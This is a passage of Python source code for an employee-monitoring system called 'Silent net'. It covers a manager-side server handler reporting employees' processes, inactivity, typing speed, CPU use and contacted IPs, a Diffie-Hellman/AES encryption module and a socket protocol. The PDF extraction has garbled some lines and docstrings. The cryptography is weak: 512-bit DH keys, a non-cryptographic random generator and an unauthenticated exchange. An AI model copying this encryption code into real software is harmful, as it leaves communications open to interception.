                    self._get_client_data(msg_params)
                elif msg_type == MessageParser.MANAGER_CHG_CLIENT_NAME:
                    ret_msg_type = self._handle_name_change(msg_params)
```

elif msg_type == MessageParser.MANAGER_DELETE_CLIENT:

```
self._delete_client(msg_params)
            elif msg_type == MessageParser.MANAGER_MSG_EXIT:
                manager disconnect = True
            else:
                manager_disconnect = self._handle_unsafe_message()
            if ret_msg_type:
                self.client.protocol_send(ret_msg_type, *ret_msg)
            if manager_disconnect:
                break
        except Exception as e:
            print(f"Error from manager {self.client.get_ip()}: {e}")
            print(traceback.format_exc())
            if self._handle_unsafe_message():
                return
    # Return to default settings
    self.server.max_clients = 5
    self.server.safety = 5
    print(f"\nManager disconnected: {self.client.get_ip()}")
def _handle_settings_update(self, msg_params):
    """Handle server settings update from manager"""
    new_max_clients, new_safety =
    MessageParser.protocol_message_deconstruct(msg_params)
    self.server.max_clients, self.server.safety =
    int(new_max_clients), int(new_safety)
    with self.server.clients_recv_lock:
        if len(self.server.clients_connected) >=
        self.server.max_clients:
            self.server.clients_recv_event.clear()
        else:
            self.server.clients_recv_event.set()
def _get_client_list(self):
    """Get list of all clients for manager"""
    clients = self.server.uid_data_base.get_clients()
    ret_msg = []
    for id, hostname in clients:
        active_percent =
        self.server.log_data_base.get_active_precentage(id)
        is_connected = 1 if id in self.server.ids_connected else 0
        ret_msg.append(f"{hostname}, {active_percent}, {is_connec
        ted}")
    return ret_msg, MessageParser.MANAGER_GET_CLIENTS
```

def _get_client_data(self, msg_params):

```
"""Get detailed stats for a specific client"""
    client_name = msg_params.decode()
    if not
    self.server.uid_data_base.check_user_existence(client_name):
        return [], MessageParser.MANAGER CLIENT NOT FOUND
    return [self._get_employee_stats(client_name)],
    MessageParser.MANAGER_GET_CLIENTS
def _get_employee_stats(self, client_name):
    """Generate statistics for a specific employee"""
    id = self.server.uid_data_base.get_id_by_hostname(client_name)
    process_cnt = self.server.log_data_base.get_process_count(id)
    inactive_times, inactive_after_last =
    self.server.log_data_base.get_inactive_times(id)
    words_per_min = int(self.server.log_data_base.get_wpm(id,
    inactive_times, inactive_after_last))
    core_usage, cpu_usage =
    self.server.log_data_base.get_cpu_usage(id)
    ip_cnt = self.server.log_data_base.get_reached_out_ips(id)
    data = {
        "processes": {
            "labels": [i[0] for i in process_cnt],
            "data": [i[1] for i in process_cnt]
        },
        "inactivity": {
            "labels": [i[0] for i in inactive_times],
            "data": [int(i[1]) for i in inactive_times if
            len(i) == 2
        },
        "wpm": words_per_min,
        "cpu_usage": {
            "labels": cpu_usage,
            "data": {
                "cores": sorted(list(core_usage.keys())),
                "usage": [core_usage[core] for core in
                sorted(core_usage.keys())]
            }
        },
        "ips": {
            "labels": [i[0].decode() for i in ip_cnt],
            "data": [i[1] for i in ip_cnt]
        }
    }
    return json.dumps(data)
def _handle_name_change(self, msg_params):
    """Handle client name change request"""
    prev_name, new_name =
```

```
MessageParser.protocol_message_deconstruct(msg_params)
        prev_name, new_name = prev_name.decode(), new_name.decode()
        if not self.server.uid_data_base.check_user_existence(new_name):
            self.server.uid_data_base.update_name(prev_name, new_name)
            return MessageParser.MANAGER_VALID_CHG
        else:
            return MessageParser.MANAGER_INVALID_CHG
    def _delete_client(self, msg_params):
        """Handle client deletion request"""
        client_name = msg_params.decode()
        id = self.server.uid_data_base.get_id_by_hostname(client_name)
        mac = self.server.uid_data_base.get_mac_by_id(id)
        with DBHandler._lock:
            # Delete client stats
            self.server.log_data_base.delete_id_records_DB(id)
            # If client is currently connected we need to keep his
            default
            # Logs in the logging table
            if id in self.server.ids_connected:
                self.server.log_data_base.client_setup_db(id)
            # If the client is not connected during its deletion
            then we completely
            # Earase his data from all the tables
            else:
                self.server.uid_data_base.delete_user(id)
    def _handle_unsafe_message(self):
        """Handle unsafe/invalid messages from manager"""
        disconnect = self.client.unsafe_msg_cnt_inc(self.server.safety)
        if disconnect:
            print("Disconnecting manager due to unsafe message count")
            return True
        return False
def main():
    """Main entry point for the server"""
    server = SilentNetServer()
    server.start()
if __name__ == "__main__":
    main()
```

```
#
    Encryption Handler Module
#
#
        Contains classes for handling encryption tasks such as
#
        Diffie-Hellman key exchange and AES encryption/decryption
#
#
    Author: Omer Kfir (C)
import hashlib
from typing import Optional, Union
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
from cryptography.hazmat.primitives.asymmetric import dh
from random import randint
__author__ = "Omer Kfir"
DEBUG_FLAG = False
class DiffieHellman:
    11 11 11
        Handles Diffie-Hellman key exchange
    def __init__(self, prime: int, base: int):
            Initialize Diffie-Hellman with prime and base
            INPUT: prime, base
            OUTPUT: None
            @prime -> Prime number for the exchange
            @base -> Base number for the exchange
        11 11 11
        self.prime = prime
        self.base = base
        if self.prime == 0 or self.base == 0:
            parameters = dh.generate_parameters(generator=2,
            key_size=512)
            self.prime = parameters.parameter_numbers().p
            self.base = parameters.parameter_numbers().g
        self.private_key = self._generate_private_key()
    def _generate_private_key(self) -> int:
        11 11 11
            Generates a private key
            INPUT: None
            OUTPUT: Private key (int)
        11 11 11
```

```
return randint(2, self.prime - 2)
    def get_public_key(self) -> int:
        11 11 11
            Generates a public key
            INPUT: None
            OUTPUT: Public key (int)
        11 11 11
        return pow(self.base, self.private_key, self.prime)
    def get_shared_secret(self, other_public_key: int) -> int:
            Computes the shared secret using the other party's
            public key
            INPUT: other_public_key
            OUTPUT: Shared secret (int)
            @other_public_key -> The other party's public key
        11 11 11
        return pow(other_public_key, self.private_key, self.prime)
class AESHandler:
        Handles AES encryption and decryption in CBC mode
    0 0 0
    def __init__(self, key: Optional[bytes] = None):
            Initialize AESHandler with a key
            INPUT: key (optional)
            OUTPUT: None
            @key -> AES key (bytes)
        if key is None:
            self.key = get_random_bytes(32) # 256-bit key
        else:
            self.key = key
    def encrypt(self, data: Union[bytes, str]) -> bytes:
            Encrypts data using AES in CBC mode
            INPUT: data
            OUTPUT: Encrypted data (bytes)
```

```
@data -> Data to encrypt (bytes or str)
        11 11 11
        if isinstance(data, str):
            data = data.encode()
        iv = get_random_bytes(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        cipher_text = cipher.encrypt(pad(data, AES.block_size))
        return iv + cipher_text
    def decrypt(self, encrypted_data: bytes) -> bytes:
            Decrypts data using AES in CBC mode
            INPUT: encrypted_data
            OUTPUT: Decrypted data (bytes)
            @encrypted_data -> Data to decrypt (bytes), first
            AES.block_size bytes are for iv
        11 11 11
        if type(encrypted_data) is not bytes:
            encrypted_data = encrypted_data.encode()
        decrypt_cipher = AES.new(self.key, AES.MODE_CBC,
        encrypted_data[:AES.block_size])
        plain_text =
        decrypt_cipher.decrypt(encrypted_data[AES.block_size:])
        return unpad(plain_text, AES.block_size)
class EncryptionHandler:
        Main class to handle all encryption tasks
    11 11 11
    def __init__(self, base: int = 0, prime: int = 0):
            Initialize EncryptionHandler with prime and base for DH
            INPUT: prime, base
            OUTPUT: None
            @prime -> Prime number for DH
            @base -> Base number for DH
        self.dh = DiffieHellman(prime, base)
        self.aes_handler = None
    def get_base_prime(self) -> tuple[int, int]:
            Returns the base and prime for Diffie-Hellman
```

```
INPUT: None
        OUTPUT: Tuple of base and prime (int, int)
    return self.dh.base, self.dh.prime
def get_public_key(self) -> int:
    11 11 11
        Returns the public key for Diffie-Hellman
        INPUT: None
        OUTPUT: Public key (int)
    11 11 11
    return self.dh.get_public_key()
def generate_shared_secret(self, other_public_key: int) -> None:
        Generates the shared secret and initializes AESHandler
        INPUT: other_public_key
        OUTPUT: None
        @other_public_key -> The other party's public key
    11 11 11
    shared_secret = self.dh.get_shared_secret(other_public_key)
    # Ensure shared_secret is in bytes before hashing
    shared_secret_bytes =
    shared_secret.to_bytes((shared_secret.bit_length() + 7) //
    8, byteorder="little")
    derived_key = hashlib.sha256(shared_secret_bytes).digest()
    # Use the derived key for AES
    self.aes_handler = AESHandler(derived_key)
def encrypt(self, data: Union[bytes, str]) -> bytes:
    11 11 11
        Encrypts data using AES
        INPUT: data
        OUTPUT: Encrypted data (bytes)
        @data -> Data to encrypt (bytes or str)
    if self.aes_handler is None:
        raise ValueError("Shared secret not generated")
    return self.aes_handler.encrypt(data)
def decrypt(self, encrypted_data: bytes) -> bytes:
        Decrypts data using AES
```

```
INPUT: encrypted_data
  OUTPUT: Decrypted data (bytes)

@encrypted_data -> Data to decrypt (bytes)
"""

if self.aes_handler is None:
    raise ValueError("Shared secret not generated")

return self.aes_handler.decrypt(encrypted_data)
```

```
'Silent net' project protocol
#
#
#
        Contains main message types and
#
        Socket handling
#
        Encrypted protocol
#
#
    Omer Kfir (C)
import socket
from encryption import EncryptionHandler
from typing import Optional, Tuple, Union
from random import randint
import zlib
import traceback
__author__ = "Omer Kfir"
DEBUG_PRINT_LEN = 50
DEBUG_FLAG = False
class MessageParser:
    PROTOCOL_SEPARATOR = b"\x1f"
    PROTOCOL_DATA_INDEX = 1
    SIG_MSG_INDEX = 0
    ENCRYPTION_EXCHANGE = "EXH"
    # Message types
    CLIENT_MSG_SIG = "C"
    CLIENT_MSG_AUTH = "CAU"
    CLIENT_PROCESS_OPEN = "CPO"
    CLIENT_PROCESS_CLOSE = "CPC"
    CLIENT_INPUT_EVENT = "CIE"
    CLIENT_CPU_USAGE = "CCU"
    CLIENT_IP_INTERACTION = "COT"
    CLIENT_ALL_MSG = {CLIENT_MSG_SIG, CLIENT_MSG_AUTH,
    CLIENT_PROCESS_OPEN,
                      CLIENT_PROCESS_CLOSE, CLIENT_INPUT_EVENT,
                      CLIENT_CPU_USAGE, CLIENT_IP_INTERACTION}
    # Not used in communication only in DB
    CLIENT_LAST_INPUT_EVENT = "CLE"
    CLIENT_FIRST_INPUT_EVENT = "CFE"
    CLIENT_INACTIVE_EVENT = "CIN"
    # Manager commands
    MANAGER_MSG_SIG = "M"
    MANAGER_MSG_EXIT = "MME"
    MANAGER_SND_SETTINGS = "MST"
    MANAGER_GET_CLIENTS = "MGC"
    MANAGER_GET_CLIENT_DATA = "MGD"
```

```
MANAGER DELETE CLIENT = "MDC"
MANAGER_CHECK_CONNECTION = "MCC"
# Manager changes name of client
MANAGER CHG CLIENT NAME = "MCN"
MANAGER_INVALID_CHG = "MIH"
MANAGER_VALID_CHG = "MCH"
# Manager sends password
MANAGER_MSG_PASSWORD = "MMP"
MANAGER_INVALID_CONN = "MIC"
MANAGER_VALID_CONN = "MVC"
MANAGER_ALREADY_CONNECTED = "MAC"
# Name of client not found
MANAGER_CLIENT_NOT_FOUND = "MNF"
11 11 11
    Decorator staticmethod does not block a function to be
    called through an instance
    Rather it ensures that simply not pass a self object to the
    function even if function called through instance
11 11 11
@staticmethod
def encode_str(msg) -> bytes:
    """ Encodes a message """
    if type(msg) is not bytes:
        msg = str(msg).encode()
    return msg
@staticmethod
def protocol_message_construct(msg_type : str, *args):
        Constructs a message to be sent by protocol rules
        INPUT: msg_type, *args (Uknown amount of arguments)
        OUTPUT: None
        @msg_type -> Message type of the message to be sent
        @args -> The rest of the data to be sent in the message
    11 11 11
    msg_buf = MessageParser.encode_str(msg_type)
    for argument in args:
        msg_buf += MessageParser.PROTOCOL_SEPARATOR +
        MessageParser.encode_str(argument)
```

return msg_buf

```
@staticmethod
    def protocol_message_deconstruct(msg : bytes, part_split : int
    = -1) -> list[bytes]:
        11 11 11
            Constructs a message to be sent by protocol rules
            INPUT: msg, part_split
            OUTPUT: List of fields in msg seperated by protocol
            @msg -> Byte stream
            @part_split -> Number of fields to seperate from start
            of message
        11 11 11
        if msg != b'':
            msg = msg.split(MessageParser.PROTOCOL_SEPARATOR,
            part_split)
        return msg
class TCPsocket:
    MSG_LEN_LEN = 4
    CHUNK\_MAX\_LEN = (1024 * 4)
    def __init__(self, sock: Optional[socket.socket] = None):
            Create TCP socket
            INPUT: sock (not necessary)
            OUTPUT: None
            @sock -> Socket object (socket.socket)
        11 11 11
        if sock is None:
            self.__sock = socket.socket(socket.AF_INET,
            socket.SOCK_STREAM)
        else:
            self.__sock = sock
            self.__ip = self.__sock.getpeername()[0]
    def set_timeout(self, time):
        11 11 11
            Sets a timeout for a socket
            INPUT: time
            OUTPUT: None
            @time -> Amount of timeout time
        11 11 11
```

```
self.__sock.settimeout(time)
def get_ip(self) -> str:
    11 11 11
        Returns the IP of the socket
        INPUT: None
        OUTPUT: IP of the socket
    11 11 11
    return self.__ip
def create_server_socket(self, bind_ip : str, bind_port : int,
server_listen : int) -> None:
    11 11 11
        Prepare a server tcp socket
        INPUT: bind_ip, bind_port, server_listen
        OUTPUT: None
        @bind_ip -> IP for server to bind
        @bind_port -> Port for server to bind
        @server_listen -> Max amount of client connecting at
        the same time
    \Pi = \Pi = \Pi
    self.__sock.bind((bind_ip, bind_port))
    self.__sock.listen(server_listen)
def server_socket_recv_client(self) -> socket.socket:
        Server receives new client
        INPUT: None
        OUTPUT: None
        @dst_ip -> Destination IP of server
        @dst_port -> Destination Port of server
    11 11 11
    client_sock, _ = self.__sock.accept()
    return client_sock
def client_socket_connect_server(self, dst_ip : str, dst_port :
int) -> None:
    11 11 11
        Connect client socket to server
        INPUT: dst_ip, dst_port
        OUTPUT: None
```

```
@dst_ip -> Destination IP of server
        @dst_port -> Destination Port of server
    11 11 11
    self.__sock.connect((dst_ip, dst_port))
def close(self):
    11 11 11
        Closes socket
        INPUT: None
        OUTPUT: None
    11 11 11
    self.__sock.close()
def log(self, prefix : str, data: Union[bytes, str],
max_to_print: int=DEBUG_PRINT_LEN) -> None:
    11 11 11
        Prints 'max_to_print' amount of data from 'data'
        INPUT: prefix, data, max_to_print
        OUTPUT: None
        @prefix -> A prefix for every data to be printed
        @data -> Stream of data (Bytes | string)
        @max_to_print -> Amount of data to printed
    11 11 11
    if not DEBUG_FLAG:
        return
    data_to_log = data[:max_to_print]
    if type(data_to_log) == bytes:
        try:
            data_to_log = data_to_log.decode()
        except (UnicodeDecodeError, AttributeError):
            pass
    print(f"\n{prefix}({len(data)})>>>{data_to_log}")
def __recv_amount(self, size : int) -> bytes:
    11 11 11
        Recevies specified amount of data from connected side
        INPUT: None
        OUTPUT: Byte stream
        @data -> Stream of bytes
    11 11 11
```

```
buffer = b''
    # Recv until 'size' amount of bytes is received
    while size:
        # Receive data in chunks with max size of 'CHUNK_MAX_LEN'
        tmp_buf = self.__sock.recv(min(size, self.CHUNK_MAX_LEN))
        if not tmp_buf:
            return b''
        buffer += tmp_buf
        size -= len(tmp_buf)
    return buffer
def recv(self) -> bytes:
    11 11 11
        Recevies data from connected side
        INPUT: None
        OUTPUT: Byte stream
        @data -> Stream of bytes
    11 11 11
    data = b''
    data_len = self.__recv_amount(self.MSG_LEN_LEN) # Recv
    length of message
    if data_len == b'':
        return data_len
    data_len = int(data_len)
    # Recv actual message and log it
    data = self.__recv_amount(data_len)
    self.log("Receive", data)
    return data
def send(self, data : Union[bytes, str]):
        Sends data to connected side
        INPUT: data
        OUTPUT: None
        @data -> Stream of bytes (can also be a simple string)
    11 11 11
```

length = len(data)

if length == 0:

```
return
        if type(data) != bytes:
            data = data.encode()
        # Pad data with its length
        len_data = str(length).zfill(self.MSG_LEN_LEN).encode()
        data = len_data + data
        # Send data and log it
        total_sent = 0
        while total_sent < len(data):</pre>
            to_send = data[total_sent:total_sent + self.CHUNK_MAX_LEN]
            sent = self.__sock.send(to_send)
            if sent == 0:
                raise RuntimeError("Socket connection broken")
            total_sent += sent
        self.log("Sent", data)
    @staticmethod
    def get_free_port() -> int:
        11 11 11
            Get free internet port for binding
            INPUT: None
            OUTPUT: None
        11 11 11
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.bind(('', 0)) # Binding to port 0 gives random port
            port = s.getsockname()[1]
        return port
class client (TCPsocket):
    def __init__(self, sock: Optional[socket.socket] = None,
    manager: bool = False):
        11 11 11
            Create the client side socket
            socket type: TCP
            INPUT: sock (not necessary), safety
            OUTPUT: None
            @sock -> Socket object (socket.socket)
            @safey -> Safety counter for unsafe messages
```

11 11 11

```
super().__init__(sock)
    # Add settings in order to get mac address
    self.\__mac = ...
    # Unsafe message counter
    self.__unsafe_msg_cnt = 0
    # Encryption handler
    self.__encryption = ...
    # If its a manager object then only build base for encryption
    if manager:
        self.__encryption = EncryptionHandler()
def set_address(self, mac_addr) -> None:
        Set client's mac addresss
        INPUT: mac_addr
        OUTPUT: None
        @mac_addr -> mac address of client
    11 11 11
    self.__mac = mac_addr
def get_address(self) -> str:
        Returns client's mac address
        INPUT: None
        OUTPUT: Address of client's mac
    11 11 11
    return self.__mac
def exchange_keys(self) -> bool:
        Exchange keys between client and server
        INPUT: None
        OUTPUT: boolean value which indicated wether managed to
        exchange keys successfully
    11 11 11
    try:
        if self.__encryption is not Ellipsis:
            # If client is a manager object
            self.protocol_send(MessageParser.ENCRYPTION_EXCHANG
            E, *self.__encryption.get_base_prime(), encrypt=False)
```

```
else:
            # If client is a server object
            data_type, data = self.protocol_recv(1, decrypt=False)
            if data_type.decode() !=
            MessageParser.ENCRYPTION EXCHANGE:
                return False
            data =
            MessageParser.protocol_message_deconstruct(data, 1)
            self.__encryption = EncryptionHandler(int(data[0]),
            int(data[1]))
        self.protocol_send(MessageParser.ENCRYPTION_EXCHANGE,
        self.__encryption.dh.get_public_key(), encrypt=False)
        data_type, data = self.protocol_recv(1, decrypt=False)
        if data_type.decode() != MessageParser.ENCRYPTION_EXCHANGE:
            return False
        self.__encryption.generate_shared_secret(int(data))
        return True
    except (ConnectionResetError, ValueError) as e:
        return False
    except Exception as e:
        # If raised exception then return that function did not
        manage to complete successfully
        print(traceback.format_exc())
        return False
def connect(self, dst_ip : str, dst_port : int) -> bool:
        Connect client to server and exchange keys
        INPUT: dst_ip, dst_port
        OUTPUT: Boolean value which indicated wether managed to
        connect
        @dst_ip -> Destination IP of server
        @dst_port -> Destination Port of server
    11 11 11
    try:
        self.client_socket_connect_server(dst_ip, dst_port)
        return True
    except:
        self.log("Error", "Failed to connect to server")
        self.close()
        return False
def protocol_recv(self, part_split : int = -1, decrypt: bool =
```

True, decompress : bool = True) -> list[bytes]:

```
11 11 11
        Recevies data from connected side and splits it by protocol
        INPUT: part_split
        OUTPUT: List of byte streams
        @part_split -> Number of fields to seperate from start
        of message
        @decrypt -> Boolean to sign if to decrypt
        @decompress -> Boolean to sign if to decompress data
    11 11 11
    try:
        data = self.recv()
        if data == b'':
            return data
        if decrypt:
            data = self.__encryption.decrypt(data)
        if decompress:
            data = zlib.decompress(data)
        data = MessageParser.protocol_message_deconstruct(data,
        part_split)
        return data
    except socket.timeout:
        return b'ERR'
    except Exception as e:
        print(e)
        return b''
def protocol_send(self, msg_type, *args, encrypt: bool = True,
compress : bool = True) -> None:
    11 11 11
        Sends a message constructed by protocl
        INPUT: msg_type, *args (Uknown amount of arguments)
        OUTPUT: None
        @msg_type -> Message type of the message to be sent
        @args -> The rest of the data to be sent in the message
        @encrypt -> Boolean to indicate if to encrypt
        @compress -> Boolean to indicate if to compress
    11 11 11
    constr_msg =
    MessageParser.protocol_message_construct(msg_type, *args)
    if compress:
        constr_msg = zlib.compress(constr_msg)
```

```
if encrypt:
            constr_msg = self.__encryption.encrypt(constr_msg)
        self.send(constr_msg)
    def unsafe_msg_cnt_inc(self, safety : int) -> bool:
            Increase unsafe message counter
            INPUT: None
            OUTPUT: boolean value
        11 11 11
        self.__unsafe_msg_cnt += 1
        return self.__unsafe_msg_cnt > 10 - safety
    def reset_unsafe_msg_cnt(self) -> None:
            Reset unsafe message counter
            INPUT: None
            OUTPUT: None
        11 11 11
        self.__unsafe_msg_cnt = 0
class server (TCPsocket):
    SERVER_BIND_IP = "0.0.0.0"
    SERVER_BIND_PORT = 6734
    def __init__(self, server_listen : int = 5):
            Create the server side socket
            socket type: TCP
            INPUT: None
            OUTPUT: None
        11 11 11
        # Create TCP ipv4 socket
        super().__init__()
        # Bind socket and set max listen
        self.create_server_socket(self.SERVER_BIND_IP,
        self.SERVER_BIND_PORT, server_listen)
    def recv_client(self) -> client:
        11 11 11
            Receives a client from server socket
            INPUT: None
            OUTPUT: Client object
```

11 11 11

```
c = client(self.server_socket_recv_client())
c.set_timeout(5)
return c
```